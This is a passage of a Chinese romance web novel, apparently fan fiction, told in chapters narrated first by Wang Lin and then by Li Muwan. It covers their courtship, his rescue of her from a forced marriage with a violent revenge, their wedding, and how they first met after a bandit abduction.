镇子上今年铁花节目来的早,爹要我带她去散心,本没有问题,闷着温书好段时间,正好出去散心。 可因着前几日葛阳许浩,还有租房的事,还未与她说开。她心思细腻,应该猜的出来我话中之意。 王浩王卓来唤我,也唤了她。 碍于面子,我塞了话,李慕婉若是拎得清,便不会跟着来。 果然,她没跟着要去。 出了镇子,热闹不止,明明是散心的,心里总装着事,越发憋闷。 而在看台的人群里,我无意间瞧见一抹身影,一晚上在脑子转了无数回的人。 她,怎么来了? 这装扮,倒不像平日的她了,就连人群里,朝她投去的目光无数,我心底又是一股火。 麻烦,她被人缠上了。 找死,纨绔浪荡子的伎俩。 若她自己要来,又如此不安全,早知带着她来了。 我给她解围,将她护在身前,烟火很好看,可我仿佛不在意烟火好不好看。 似有比烟灰更好看的。 她很开心! 原来她这么想看打铁花,若她没能来,会不会躲在房里为此伤心? 镇子上遇见了老朋友,还有娘和李慕婉给我选的议亲对象,叶清儿。 回家路上,叶清儿与我说了些话,我却没心思听。 李慕婉也跟着花影和王浩他们一块闹,刻意让我与叶清儿独处。 亏我方才替她解围,她便是这样“恩将仇报”的。 正好,可以借机与叶清儿说清楚,我并未有成婚打算。 我本不是扭捏性子,三两句话就能讲清。 回的路上,他们又拉着李慕婉一块去喝酒,随她吧。 可她追了上来,说要与我一道回家,在那一刻,我会以为她是因为我不去,才要一起走的。 可是回家途中,她总抓着婚事与叶清儿的事问。 我不爱听。【你现在阅读的是魔蝎小说 moxiexs】 78、王林 内心积攒的那些杂绪,在夏日晚夜的虫鸣声里疯狂涌出,我自引以为傲的自控力,却在这一刻成了笑话。 可从她眼神里看,她似乎什么都不明白。 我清楚地告诉她,我不喜欢叶清儿,她也只以为我只是不喜欢叶清儿。 而她在这一晚星河滚烫的夜里,因为我的缘故,丢了发簪,那是她娘亲留下的遗物。 得帮她寻回来。 后来我让爹娘推了与叶家相看一事,李慕婉继续留在王家,此事告一段落,她又像往常一样来我屋里看书,她懂得策论,能与我辩论,倒是与我印象中的她不一样。 我在揣测她的身份与想要接受她的善意中模棱两可,那是我心底深处的百般纠缠。 我不愿意全然接受她,是因为清楚,她身份不明,即便这些时日,她对我们家还算真心,尤其是对爹娘。 但她隐瞒也是真。 李慕婉又去镇子等信,那夜她丢的簪子,我寻回来了,可是簪子坏了,她说这簪子于她很重要,我只能到镇子寻工匠师傅修复。 就当是对前些日子的事,补偿她了。 回村路上恰巧遇见了她,她哭得厉害。 那是我第一次见李慕婉哭,从前的她在我和爹娘眼里都是坚强的,原来也会在我们看不见的时候哭得这般委屈。 她这样的富贵人家小姐,应是没怎么受过苦,我不会哄人,尤其是女孩子。 可路人怪异的眼光更让我难受,不是我欺负的她。 我只能一遍遍叫她“不要哭”,似乎那是我能做到最大程度的安慰了。 显然并不怎么管用。 许久后她自己收了情绪,今日和风舒适,我们坐在马车上,田野的风吹得人神清气爽,似乎也把她的不快吹走了。 我的心情才放松些许,可是车上同乘的大哥话语不断,她没听见的吧? “阿兄,青粉楼是什么地方?” 不,她听见了。 青粉楼自然是喝花酒的地方,她堂而皇之问,我一时哑语竟然不知如何回她。 “喝酒的。”我这么回也没问题。 当她得知青粉楼是花楼,她又逮着我问。 “阿兄,你去过青粉楼吗?” “阿兄?” 早已习惯她唤的“阿兄”,可我并不想回她。 我为何会去青粉楼?旁人三言两语她便信了? 先前给她刻的木雕小像,是还那支狼毫的心意,一直没有机会给她,正好这次给她了。 我手艺虽不及爹精湛,可这小像花了心思的,但愿她不嫌弃。 *** 后来爹娘要去县城,只留下我二人于家中,为着她名声,孤男寡女同住屋檐是有不妥。 我只能拖人临时在镇子找了份工,借机出去住。 明明已经下定决心做了打算,入夜后却总是想起她白日那句“害怕”。 她的胆子让人捉摸不透,连鸡都怕,怕黑也正常,而她白日那个眼神,无助又失望,搅乱了我心绪。 睡不下! 连夜回吧。 当我敲了院门时,她踏着轻快的小步来开门,笑靥如花,我知道她盼着家里人回来,我如释重负,好在赶回来了。 为此,我决定日日回来住,如此她夜里就不会再害怕了。 此后,她但凡有空,都会来村口等我下工,我也习惯了。 偶尔我回得早,做好饭等她从山上回来,她回的晚,我只能去村口接,却见叶清儿姐妹拦下她,与她争论。 是因着我先前的婚事,那是我第二次见她据理力争地维护我,第一次是在葛阳许浩那。 她偏执地让我软了心,即便被叶敏儿推倒,也不愿意承认他人口中一句我的不好。 她……真心觉得我好。 也是真心维护我的。 我该感激她。 她撒谎隐瞒身世,也是不得已而为之。 *** 爹娘为了我上京赶考,欠下那么多债,若非张屠来家里滋事,我也不知此事。 她为护我爹娘,不惜以身抵挡,我对李慕婉的所有防备就此息数卸下。 爹娘受了惊吓,她身上也受了伤…… “你救我性命,我护你爹娘。”她的眼睛,很真挚,先前是我小人之心,防心过甚。 手上的擦伤,看着心疼,她没喊疼,只是自己忍着。 张屠把她心爱的花草踩坏了,我只能去竹林为她寻一些应季的花草,重新种在院子里,她房里的插花也要换,希望这些能抚平她昨日的委屈。 *** 王家村外的桃林每年春季时盛开,温书久了,我喜欢躺在树枝上赏日落,云霞很快滚上来。 我被一阵脚步声扯破思绪,李慕婉踩着枯枝,瞧她模样走路都不稳,却总爱跟着来。 我似乎早已经习惯了她的跟随,我总能在不经意间,看见她的身影。 而每次她的出现,我的心情都会随着喜悦。 这也让产生了一种可怕的错觉,她永远都会在。 她的话很多,会有无穷尽的问题,能答的我都会应她。 从一开始的不耐烦,到后来渐渐习惯了她的声音,每次她唤我阿兄,我都会期待她下一句话是什么。 有时,她也只是唤一句阿兄,阿兄,什么都不说。 如此,我也喜欢听。 云霞要站在高的地方看,她或许还未在树上看过云霞吧,因着张屠大闹,家里沉闷了几日。 要不,逗逗她? “抱紧。”李慕婉还未反应过来,我已经带她到了树上。 她焦急又无可奈何的模样,还有些可爱,逗逗她,谁让她总爱跟着。 她不知,她看云霞时,我也在看她。 有那么一瞬间,我心底闪过一丝贪念,有个人陪着一起看日落,也挺好的。 而当我习惯她的存在后,李慕婉的兄长来了。 许是我这些日子沉浸与她的相处中,竟然一时间忘了,她是要走的人。 也罢。 李慕婉迟早要走的。 离开前夕,她问的那两句话,我无法回答。 “阿兄,往后我还能回来吗?” “若阿兄去镇子,能否来看看婉儿?” 我期待她回来,可这似乎偏离了一开始的初衷,收留她只是因为她无处可去。 她兄长来了,一切就到此为止。 我自始自终并未想要与她有斩不断的牵挂。 至此,两家各不相欠。 我们路不同,只是因缘际会的短暂相交,我身负父母期许,终是要去京城闯荡,而她要与兄长回燕州。 我悄无声息地藏起自己的心意,却看见了她眸底的失落,她藏不住。 我该狠狠心,便能斩断一切与她的联系。 可我不忍心! “若我得空去镇子,看看你也无妨。”这是我能给的最无负担的许诺。 李慕婉笑得很好看,她希望我去看她。 她与兄长留在清平镇,我和爹娘都很高兴。 因为,我还能见着她。 我还想,能见她。 她离开竹林小院那日,我听见了门外她的声音,我选择不见,是不想给自己留下任何念想。 就是这样的可笑,复杂的情绪,让我模棱两可,打乱我,让我失了理智的判断和决策。 值得开心的是,她与兄长在清平镇开了药铺落脚,李慕婉隔三差五寻着机会回来竹林小院,我们又好似回到了同住竹林小院的日子。 原来,我还是喜欢她在竹林小院的时光。 只是这样的时光,往后都不会再有了。 *** 王家村入冬,便意味着我赴京的时日快到了。 而这一次,我一定要考上功名,这是我对爹娘的承诺。 新年伊始,爹娘邀请李家兄妹一同在家中吃年夜饭,那是她离开竹林小院后,我和爹娘最开心的一日。 李奇庆送了副棋盘,我二人对弈,李慕婉便在屋里收拾,我居然觉得并无不妥,理所当然的享受她的贴心。 她回镇子时,我送了一支白梅,白梅与今夜的她,格外相称。 而过了新年,我要离开王家村,王浩几人为我践行设宴。 李慕婉也会来,屋外风雪大,而我似乎没有什么心思,直到门开了,风雪连同那抹红色斗篷落入眼底,一直沉闷的心情得到了松快,可她却没了往日的热情,只是浅浅唤了我一句阿兄。 她这是怎么了? 平日她不是嗜酒之人,今夜酒倒是喝得勤。 出戏楼时,醉态的她说着一些莫名的话,我不知道她到底是醉了还是没醉。 她在试探?说的是醉话,还是什么? 她倒在我怀里,眼神涣散,抵着我胸膛,抚我眉眼时,我确定,她一定是醉了。 我心甘情愿让她端详,她的触碰,似无形的烈酒,引着我,期待她做点什么,又害怕她做出的举动,是我无法给以回应的。 她的气息离得很近,我努力维持着理智,她口中的话含混不清,但是我却听得无比清楚,“哥哥说,你去了京城便不会再回来。” “阿兄,我就冲动这么一回。” 我不知道她口中的冲动是什么,也不知为何她要说这样的话,她以为我也醉了。 转瞬后,她便垫起脚尖凑上来,我能躲开的。 可我没有,心里居然似在希望她做点什么,我不喜欢这样的我。 可我也无法抗拒她。 直至李慕婉闭上眼,柔软温热的唇瓣贴过时,戏楼的曲音仿若静止了,情乱中,我什么都看不清,唯独在她眼角,瞧见两行泪。 她到底知不知道自己在做什么? 可很快,这个吻没有了。 李慕婉彻彻底底不清醒,当我搂着她时,感受着身上的气息,原来抱着她,是这样的美好。 我贪婪她身上的温度和气息,我尚存理智。 原本想要等她清醒后问清楚,问明白,可是她仿佛真的都不记得了,对我仍是一份疏远,或许昨夜当真只是她酒后的冲动。 什么都不是。 是我想复杂了吗?罢了,总归要入京,多想无益。 我无法承诺她未来,便不要承诺。 *** 入京那日,我与爹娘辞行,我以为她至少会来小院送我,我拖了一刻钟不见她身影,爹娘催促我早些赶路,我只能收起无人察觉的失落。 最后留了一眼曾经她住过的东厢房。 她不会来了。 而离村未到一里地,远处一抹身影渐近。 我看清了。 是她! “阿兄,阿兄等一下。” “阿兄,此次京城路途遥远,务必保重。” 她从那涌重的包袱里一件件,念念不断。 “阿兄,这是大氅……” “这是靴子……” “这是锦囊……” …… 而我只在意她面颊流淌的细汗,她面颊红了,许是跑热的。 我看见了她目光中的不舍,可却从未提及只言片语。 “阿兄全力备考就是,王叔和周婶,婉儿来照顾,你无需有后顾之忧。” 她眼里的赤诚那么明亮,她总是带着笑,细心地想要给我最好的,却全然不顾自己跑的累不累。 除了爹娘,如此待我好之人,也不过李慕婉。 她的承诺,她的心细,她的诚意,足以让我沦陷。 我彻底接受了她,即便她身份有所隐瞒,可她从未对我藏私心。 我鼓着勇气,替她擦去了额汗,这一刻,我想她便是娘亲口中常念的好儿媳吧。 她是好女子,我当以功名相报。 “等我回来。”这是我对她的承诺。 离别清平镇没几日,赶路虽苦,可念着爹娘和她,时间过得也很快。 在京城落脚后,每日专神温书,闲暇放空之时,脑子里总是浮现她的身影。 而我在她一封一封的家书里,在她每一行字眼中,仿若看到了她的影子,思念如潮涌排山倒海,我既然对她的思念到了这般浓厚的地步。 只是在京城一年中,我无意中得知了她的身份。 李家兄妹是被皇帝下令逐出京城的,难怪她一直遮掩,恐是害怕我知晓她的身世后,怕给家中带来灾祸而不愿收留。 可我早已不在乎她的身世了,只等我考取功名回乡,我便会与她袒露心意。 经过一年温习,我如愿以偿考上功名,却不料在京城受了牵制,礼部尚书李元朗向我逼婚。 “王某家中有妻待我。”这是我的回应。 虽我与她未表明心意,可我能感受到她的心意,我王林此生认定的人,至死不会变。 我拒绝了李元朗的逼婚,可也为此付出了代价,李元朗联合朝臣将我留在了翰林院,不得回乡。 我见不了爹娘,见不了婉儿。 只是后来,不知为何,我再没有收到她的书信,而爹娘的家书里,我读到一条肝肠寸断的信息。 婉儿要成婚了! 那一夜我无眠。 我在空荡的屋子里想了无数遍,痛恨我没有早些说出口,也痛恨天意弄人,可我不愿听天由命。 是以,我寻了她的闺中好友周紫虹,只因那日诗会上,若非是她,我也无法知晓婉儿的身世。 婉儿赠予的锦囊里,是一张免死金牌,我在周紫虹那得知此金牌的作用,在御前辞官后,再请了一道圣旨。 她的婚事必有蹊跷。 我夜以继日从京城往清平镇赶,回到王家村后,竹林小院里的花卉无人打理,早已没了她存在的痕迹。 一年多时间,物是人非。 我坐在房内,空荡荡的屋子,淡淡一股提神香,我幻想门外有她的身影,就如同从前她住在小院时,总会在亥时前出现在我房里,可是直到深夜也没有。 她走了,早在永正八年冬就已经走了,而今更是要嫁做他人妇。 可我不甘心啊。 经过几日探查,黄昏时分,我在街角处遇见了久违的她。 她的声音,仍是那么熟悉。 “阿兄,何时回来的。”我能在她言语中听得出惊喜和失落,又或许是遗憾。 别后一年,她仿若出落得更温婉端庄了。 我想告知她我此行目的,可孙家的眼线就在不远处,我知道她是被软禁监视了。 是以,我只能忍痛与她说了狠心的话。 我要做好万无一失的准备,为了她,为了爹娘。 我没想到的是,翌日孙镇伟带着婉儿来了竹林小院,我看到她的神色并不开心。 我也不开心。 可我只能表现得毫不在意,才能让她好过一些,打消孙镇伟的防备,可是那股恨意与酸涩不断渗入我的心脉。 我坐在屋子里,她与孙镇伟的身影疯狂闯入我的脑海,我不愿去想,而我无法自控。 我不是正人君子,不是! 我把那些恨意和不甘发泄在了屋内的置物上,屋里砸乱了,我不喜欢这般疯癫无状的自己。 可这又何尝不是我王林? 疯魔,只因我心中恨意难平,不只是对孙家,也是自己,气愤从前为何没能早日表明心意。 我撕碎了暗夜,把心中不堪隐没,潜入软禁她的别苑。 我在婉儿那了解了来龙去脉,只需要再筹划一番,在大婚前,扳倒孙家,带她离开。 原本让杨云山揭露孙家罪恶也能让婉儿顺理成章的回来,可孙镇伟不死,我愤恨难平。 我承认自己的阴暗,也曾想过婉儿会因此惧怕于我,很快,我打消了这种念头。 她不会,她只会毫无保留的信我,护着我。在她一次次毫无条件地维护我时,我便该清楚了。 而我为了她,屠尽孙家又何妨。 大婚当夜,我抢在杨云山前,大闹孙府宴席,我看见了她穿上火红的嫁衣,凤冠霞帔,那样好看的一身婚服,却不是为我穿的。 孙镇伟他该死。 我站在屋檐上,拉满的弦带了我的满腔怒火,可我没有一箭取下他性命,并非是我箭术不精,箭羽穿过他的发冠。 我要他丢掉正人君子的衣冠,他这种衣冠禽兽,也胆敢肖想我的婉儿。 他该千刀万剐,挫骨扬灰。 他们的利箭穿破了我的血肉,仇恨浸湿了我的衣裳,几个回合的对战,我进入疲态,婉儿绣的发带落了。 我仍记得她送我发带时,为我束过的发。 我吸着血腥味,躺在血水中,疼痛刺激着我的神经,我抓紧了发带。 秉着这股信念,想要见到她的信念,与她长相厮守,耳鬓厮磨的信念。 自我清楚,正视自己心底这份情意,这些念头都铺天盖地压着我,成为一个疯子。 我于尸山血海里爬出来,将挡住我的魑魅魍魉屠戮,只为带她走。 我看见了阁楼上的她,她在抵抗孙镇伟的屈辱。 那一刻,我仿若一只爬阴暗泥泞里的蛆虫,想要千百倍地折磨他至死,我的箭再次射向他,可仍没有致命。 婉儿脱离了魔掌,我在火光与暗夜里,仿若看见阁楼上的一束光,俨如月光向我投过来。 我像是被她吸引着,又把自己当做她可靠永久的后路,伸出手。 “来。” 她纵身跃下时,我想的只是接住这束光。 “阿兄。”是她唤的。 我喜欢她喊我“阿兄”。 “婉儿,阿兄来了,阿兄来晚了。”我紧紧抱着她,仿若要将她融入骨血了。 我看清了她美眸中噙着的水雾,她定然吓着了。 “不是说好等我回来么?不作数?”这话成了最后的一丝重量,把她辛苦垒起的坚强捣碎。 “阿兄。” 婉儿扑向我时,我感受到她这些时日的委屈和恐惧,我将她禁锢在怀中,一遍遍地唤着她,希望能抚平些许她的伤。 是我不好,是我晚了。 幸好,我来了,她还在。 不是我救了她,是婉儿救了一只脚堕入地狱的我。 我看见她手上伤痕时,恨不得撕碎孙镇伟,要入地狱的人是他! “走。” “去哪?” “我带你去杀人。” 我手中利剑挑断孙镇伟筋脉,他伤我婉儿,我要他躺在血水里,看着自己血液流尽而死,要他在恐惧和无助中苟延残喘最终而亡。 我不在乎自己残忍暴虐,睚眦必报,我只要他千百倍地在痛苦中死去。 那一夜后,我与她守在屋子内,我们袒明心意,我守在床榻前,不敢熟睡,她梦魇了。 我只能一遍遍哄着她。 李奇庆要带她走,我没让,他说的都没有不妥,是我不想。 我对婉儿有私心! 婉儿在王家村养伤的几日,我们似乎又回到从前,只是我们之间的关系,变了。 我总会在意她在做什么?想什么? 在意她有没有注意到我,在意她的一切。 那几日的自己,无比开心,是失而复得的喜悦,我食髓知味,想要与她朝朝暮暮。 在自我感觉不到的时候,总是无意盯着她看,还会含着笑意。 从前我只能在她看书睡着时,方能不顾一切地去端详她,只是那种窥视让我憎恨自己。 如今我可以肆无忌惮的看着她,每回她都会对我回以一笑。 我想,时间就静止在这,便足够了。 可是她还得回镇子上。 我的贪婪像是无底洞,我不仅仅想要与她日日相见。 我知道,我想要的更多…… 更多!! 不若,我不会请来那封圣旨。 *** 久违的重阳日来了,清平镇上又举办了灯会。 为了成亲做准备,我到书铺写话本谋生,婉儿日日来看我,我喜欢她陪在身侧与我说话,她还是那样,每说一句话,便要唤一句“阿兄”。 我喜欢。 喜欢她的声音,喜欢她唤我阿兄,喜欢她,喜欢她的一切。 我深爱她! 我知道婉儿想去灯会,只是想与我一块去,我亦是如此。 逛灯会时,她在人群里突如其来的一吻,很轻很浅,那触感就仿若与践行那晚,她醉时吻下的一样。 轻得像只猫抓了一般,无形地钓着我。 可当我回神后,她已经走远了,灯火笼罩在她身躯下,那么渺小,却神奇地占据我的整颗心脏。 我想,那便是我此生最想要守护的。 我陪婉儿放了河灯,柳叶在夜风中躁动,似我此刻的心情。 掌心传来她的温度,早秋了,我能感觉到她靠近的气息,于是,我顿了脚步。 我努力平息内心的悸动,我承认紧张了。可未曾透出来,我抓住婉儿双臂,试图慢慢凑近她,她没有躲避。 只是等待我,耐心等着我。 这是她的允许,我更想要靠近她,只是身后一声不合时宜的响动,阻碍了我的动作,是王浩,我只能若无其事地答了他的话。 王浩走后,我平静了须臾,想要触碰她的念头愈发强烈,我俯身凑近婉儿,王卓来了,他打断了我的举动,婉儿眸子里散出羞涩。 煞风景的东西。 王卓寻王浩去了,我尝试忘掉一切杂念,只是想回应她今夜那个吻,我想搂她入怀,倾诉我的情愫。 可当我第三次靠近婉儿时,王浩王卓再次出现身后,平息下的无奈汇聚成一股怨气。 今夜若不教训这两个小子,我就不叫王林! “婉儿,等我。” 我转身跟上去,他二人嬉笑,也就只能再笑这么片刻了。 他二人落水后,我心中怨念平息些许,得叫他二人长长记性。 落水,算是便宜他俩了。 *** 天灯在子时点亮,犹记得上一回同她一块看打铁花的场景,时间飞逝,当天灯点亮夜空时,我再无法控制心中悸动,那是我第一次主动与她亲近,我生涩的吻着她,婉儿的心跳得很快。 身上是软的,唇瓣也是软的,我想将她融入身体里,涨热驱散了我的理性,我在最后一刻终止了荒唐的想法,若非婉儿推开,我许是会忘情地沉醉其中。 伤了她。 失控过后是留恋的味道,我贪念这种感觉。 “婉儿,我们早些成婚吧。”我望着她意乱的深眸,恨不得把她含在口中,捧在手心。 “我听阿兄的。”婉儿避开些许视线,她倚在我肩头,我们一同赏着天灯,她在耳侧碎碎念着,我应着她每一句话,全身都在回味那个深长的吻。 我想我当真是疯了。 婚期定在秋后,大婚当夜,婉儿兄长又灌了我许多酒,是我该受的。 洞房夜险些闹了笑话,她似乎很疼,我只能忍下要捅穿的欲望,想放弃了。 可婉儿告诉我说。 “阿兄,谢三婶说,新婚夫妻洞房夜是要辛苦一些,倘若新娘子叫疼,夫君应当卖力一些。” 我明明看见她眉眼受不住的痛苦,可她却迎着我,我承认我并非正人君子,更没有书生该有的清流矜持。 我只想放纵,与婉儿一块耽溺于热浪中。 一整夜,把她闹累了,她枕在我臂弯里睡得熟,长长的睫羽时而颤动。 从前我从未想过我的妻子是什么样的一个人,如今看着睡熟的婉儿,就是她。 我的妻子从来不是什么样的,就只是她,李慕婉。 往后,我们还会有自己的孩子,承欢膝下,我们在这小院里陪着孩子们长大,陪着爹娘老去,厮守一生。 我王林的余生,不是万古孤寂与长恨,是有人问我粥可温,灯长明;有人与我立黄昏,赏云霞;有人伴我看风花,观雪月,品清茶……【你现在阅读的是魔蝎小说 moxiexs】 79、婉儿 自家中遭逢劫难,李家一夕之间陨落,独留下我与哥哥二人相依为命,皇帝下令逐我二人出京,此后不得踏入京城一步。 离京已有月余。 这是我第一次出京,从京城到天麓山,所见趣事颇多,哥哥总说我自小被宠惯了,出来走走,见见世间百态也许是好事。 他总念叨我不经事,可遇着事却又紧张万分,我知道他是为我好。 春景怡人,又是一年会考,此行途中所见上京赶考学子无数。 每年会试结束,京城大大小小的诗会不断,紫虹与哥哥常约在一块,我知道哥哥带着我无非是因着紫虹,原先爹娘还说,若今年宫里的这批药材供给完,便替哥哥说一门亲事。 哥哥心里一直念着紫虹,而李家经此一事,一切都乱了。 哥哥说过了天麓山就快到燕州了,我们在天麓山脚下的客栈歇脚,此处不少学子住店打尖,倒是有个有趣的。 “哥哥,你瞧那人,在这些书生中,气质倒是独众。”小道外一书生身着质朴,麻衣粗布,却玉树临风,气宇不凡,与京城的公子们倒是有些不同。 “小妹,世间之人千奇百样,并非都是你京城所见。如今咱们李家败落,从前小妹是众星捧月的存在,一旦没了李家的庇护,这些都会成为利刃反噬回来,是以哥哥这一路才诸多警惕。”哥哥又开始语重心长了。 “哥,这话你已经说了许多遍了。”我语气透着撒娇,瞧见了哥哥眉眼闪过的无奈,哥哥仿若藏着心事。 我知道,爹娘临走前交代哥哥照顾好我,这一路上无微不至,我也想哥哥不要沉浸在逝去亲人的痛苦中,总想着说些什么能分散他的注意力。 “唉。”哥哥又叹气了。 我给他倒了一杯清茶,“哥哥喝口茶润润。” 远处那位书生朝客栈走来,我多瞧了几眼,哥哥却说:“婉儿,你总盯着旁人看做什么?” 我只是轻飘飘的回答,移开了视线,“就是少见有气质如此独特之人,哥,你说今年京城会试中,会有什么样的人能够脱颖而出呢?” 哥哥眨了眨眼,喝了口茶,“京城之事,与你我已无关,婉儿,往后莫要再提,尤其是到了燕州。” “哦。”我低头略有失落。 哥哥随即说有要事要办,嘱咐了我几句,让我在客栈等着他,不知为何,心里却泛起莫名的不安。 当我还在沉思时,小二领着一人过来拼坐,我抬眼看见适才那位书生,他似乎若无其事地瞟了我一眼。 出于礼数,我朝他颔首行礼,眼前的不速之客,把我的忧思扯走。 倒是生得清秀,我暗想着,移开了目光,想着哥哥教导之言,我倒了一盏茶请他。 他却一副生冷淡漠的神情,倒是少见。 既然此人不喜交涉,我知道分寸,没再继续与他多言,只是静坐等着哥哥回来。 可是一阵马蹄声闯入,打破了我此后的命运。 山匪在人群里虐杀,马蹄踏着尘土疾驰,撞倒了不少行客。 我隐约察觉,那些山匪不只是打家劫舍那么简单,似乎在人群里寻着什么,加上哥哥这些日子所说之言,我便确定了,这杀身之祸是奔着我来的。 我顾不得那么多,转身藏匿回客栈,躲藏时擦过那位书生,他比所有人都处变不惊,冷眼旁观着这一切。仿若置身事外,可山匪若是恼起来,也会伤及无辜。 那高马之上的领头人,拿着画轴询问我的踪迹,我与哥哥得了赦免,官府不可能再为难于我二人,可若是冲着我与哥哥来的,为何画像只有我一人。 思及此,这些山匪是有目的而来,又或是受人之托,只为我来的。可我不清楚其目的到底是什么,而哥哥的话,在这一刻点醒了我。 无非是昔日京城从前哪家公子或者…… 哥哥口中的反噬,我领教了。眼下要做的是先躲过他们的追击,若哥哥回来,也只是拉着哥哥趟浑水罢了。 山匪蛮横,很快便擒住了我,我无力抵抗,那冰冷的刀刃抵着我时,我虽害怕,却未向他们低头。 山匪寻不到哥哥踪迹,欲带我离去,如我预测,他们的主要目的是我。 那些山匪擒了我之后,应该是要回寨子交差。浑噩中,我只见他们拦下路人索要财物,那些人唯恐避之不及,若能以钱财换得性命,他们无奈却没有别的选择。 唯独一人,俨然一副事不关己的冷静,山匪的鬼头刀拦下他,却未见他丝毫惧怕,而是绕过山匪自顾赶路。 他如此沉得住气,想必定有能对抗匪徒之力,我打量了片刻,就在他与山匪对峙的几息之间,我下定了决心。 “公子,救我。”这是我向他呼出的求救,虽早在先前已经领略过他的冷漠。 “他可救不了你。”山匪恶狠狠地瞪了我一眼,我把视线投向这位书生,试图激怒书生与山匪的矛盾。 当山匪再次胁迫他交出值钱物品时,他向前递进的步子,险些打破了我的幻想。 却在瞬息间,我还未来得及反应,便见山匪已经被他击落在地,而那马背屹立之人已是这位书生。 他身手不凡,反应敏捷,出手果断,我快速捕捉信息,试图最后一次求救。 “公子。” 我们视线在空中交汇,他俯身结实的手臂绕过我身后,我被那股强大的力量带上马,书生竟然有如此武艺,他必然不是普通人。 在山匪追击中,我若一人定然无法摆脱,若想活命,只能跟着他了。 只是,他如此谨慎之人,想必也不会因着我而去得罪了天麓山匪徒,马纵得快,我脑子迅速转动。 “公子,这些山匪残忍暴虐,你伤了他们的人,他们必然不会善罢甘休的。” 我等了须臾,他未作声,我能感觉到身后的他在专注驭马和观察身后的山匪追击。 身后的呼吸声愈发沉重,我有所不适,可这生死存亡的逃生之际,我无暇多想。 旋即,他带着我上山,准确的说,自始至终他未曾开口要带我离开,也未承诺要保我安全,只是我跟着他,他也未曾说什么。 我不知道他做何打算,但此时跟着他,便是我最好的选择。 直到走进深山的界限,他鬼使神差地递过来一把鬼头刀。 “拿着。” 我有些为难,我的手还绑着呢。 他似乎这才意识到,替我解开了腕绳,我们在山里转了一日,确保山匪不再跟来,寻了洞府住下,山洞的夜里总有狼嚎与鸟兽厮叫。 我睡得并不安稳,每每夜里醒来时,我向洞口望去,总能见着一抹深色背影。 我不知道他睡着没有,我想与他说话,可他却总是一副冰冷的模样,这与我所见的人都不一样,我承认对他有惧意,还有防备。 他虽对我有救命之恩,可到底是个男子。 或许是我想多了,我们在山洞藏身这几日,白日他在山林探路,我在山洞等着他回来,又怕他一去不回,将我一人撇在这,独自离去。 当我浮起这种想法时,山洞外又出现了他的身影,我欣喜若狂地出去迎接他,看见他眉眼中的疲惫。 “公子日日出去探路,可有新的发现?” 他未理会,也从不与我说他的计划,只是从怀里拿出几颗新鲜的野果递给我。 朝洞里扔了只野兔,洞里黯淡无光,我未看清本能地后退几步,他似乎略显疑惑地望了我须臾。 “这,这是什么?” “野兔。”他冷冰冰的,又自顾拾掇了些枯柴。 这几日打回的野味他都是这么处理的,起初的我并不敢尝试,可山里实在是没有吃的了。 我用帕子擦干净了果子,递了一个给他,他双手腾不出空,果子快凑到他唇瓣了他眸子带了几分惊讶,我猜不透那是何种意思,他视线在我手上停留了片刻。 “你吃。”他只是吐出两字,便又专注生火烤肉。 野果子酸甜,生津止渴,还剩三颗,果子在我手里捂得暖,他拨动着手里的木枝,火光照亮洞口,我看清了他额心的汗珠。 鼓起勇气朝他位置挪动,他似乎注意到身侧的动静,余光关注着我的意图。 “这果子止咳,酸甜可口,公子也吃一个吧。” 静了须臾,他未抬眼,只是伸手接了一个。 我寻了一处离他较近的山石坐下,心里的紧张松弛一些。 几日过去了,我不知道哥哥若没寻到我会做何打算,不过以哥哥的智谋,定然会向客栈打听,客栈的人瞧见了我被山匪掳走,山匪被诛杀后,官府定然会来。 他看不见我的尸首,会知晓我无事,思虑此处后,我多日悬着的心得以放下。 “明日天亮下山。”他的声音很干净,却给我一种无形的震慑,或许是对书生有何误解,总以为书生都是温文尔雅的。 我不禁泛起笑,烟雾里弥漫着肉香。 “好香。” “再等等。”这还是他少有会接我的话茬。 几日下来,他都未曾问过我为何山匪要置我于死地,他不想知道,必然是不打算下山后一道走。 可我与哥哥失了联系,无处可去,他若是去京城,我必然不能跟着去。 下山后我只能试探问着他,“恩公,是要去哪?” “回家。”他淡淡应下,并未看我一眼。 我只能表明要与他同行到客栈。 道路同行,他没有理由拒绝,我自然知晓的。 可入住客栈后,思来想去,要找到哥哥唯有找个定所先安顿下来,我人生地不熟,没有去处,又无法探清山匪是否会再次寻我麻烦,京城那些人若是得知我没死,会不会再寻他法。 眼下能求助之人唯有他了。 他既然不是前往京城,倘若愿意收留我,我大可安心住下,再寻机联系哥哥。 只是他这样冰冷的人,若我不拿出诚意,恐是无法取得他的信任。 为此我拿了身份鱼符敲响他的房门,果然,我刚开口表明,他那张冷漠的脸变透出寒意,我知道他不好应付。 是以只能把事先备好的身份文书和鱼符交给他,上面有我的名字。 沉默的间隙,他在衡量利弊,我等着他开口。 得到他的允诺之后,悬着一晚的心安静下来,可却彻夜难眠,他虽答应收留我,可我不知他家中还有何许人。 路途中问过几次,他才勉强开口,每每我唤他恩公时,他似乎总是皱着眉头,他是不喜欢这个称呼? “我叫王林。”这是他第一次与我道了姓名。 王林?我心中暗念,只是他于我有恩,我若直呼其名似有不妥,若往后要借宿他家,以兄长身份唤他更为合适。 “义兄,我叫李慕婉。”见他未答话,我只能解释说:“义兄对我有恩,这段时日,少不了麻烦义兄,婉儿这么称呼,可以吗?” 他仍未应我,而这次我未瞧见他紧蹙的眉,他应该是愿意这么称呼的吧? 一路上相处下来,我对他的好奇又多了几分,若是留在他家,怎么都得住上些时日,倘若家中人不好相与,都与他这般冷漠,倒是有些难。 不过哥哥常说,人不可貌相,他虽冷漠,却非坏人,不若也不会在歹人手中救下我。 若是个狂徒,那么在山洞躲藏那几日,该乘人之危有的是机会,可他没有,可见此人心中正直,是君子也。 接连赶了月余的路才回到他家中,在京城十六年,我从未到乡下走过,原来乡下景致如此别致。 从村口小道一路开满了油菜花,只是我们回来时,似有村民远远便打量着我二人,我有些不习惯,因为这儿的环境让我陌生。 入了小院后,我看见了王林的爹娘,那是很朴实纯善的长辈。 第一眼我便有亲切之感,只是王叔面容带了些许沧桑,想必是为着整个家的活计忙碌奔波。而王婶温柔慈爱,眉眼带着愁色,他们不知我的来历,看见我第一眼,却表现得很是和善。 我在院子等着王家人商议,我不知道王林与父母说了什么,但是他答应我,会让爹娘收留我。 我在院里耐心等着,这小院虽破旧了些,身后是望不尽的竹林,院里晒了些菜干,还有木头与碎屑堆砌,如此看来王家应是以木为生,那王叔便是木匠了。 一个木匠家庭出身,这与我映像中的王林不同,他的气质,实在让我难以与木匠联系在一块。 王家人最终决议收留我,答应我在王家安顿下来。 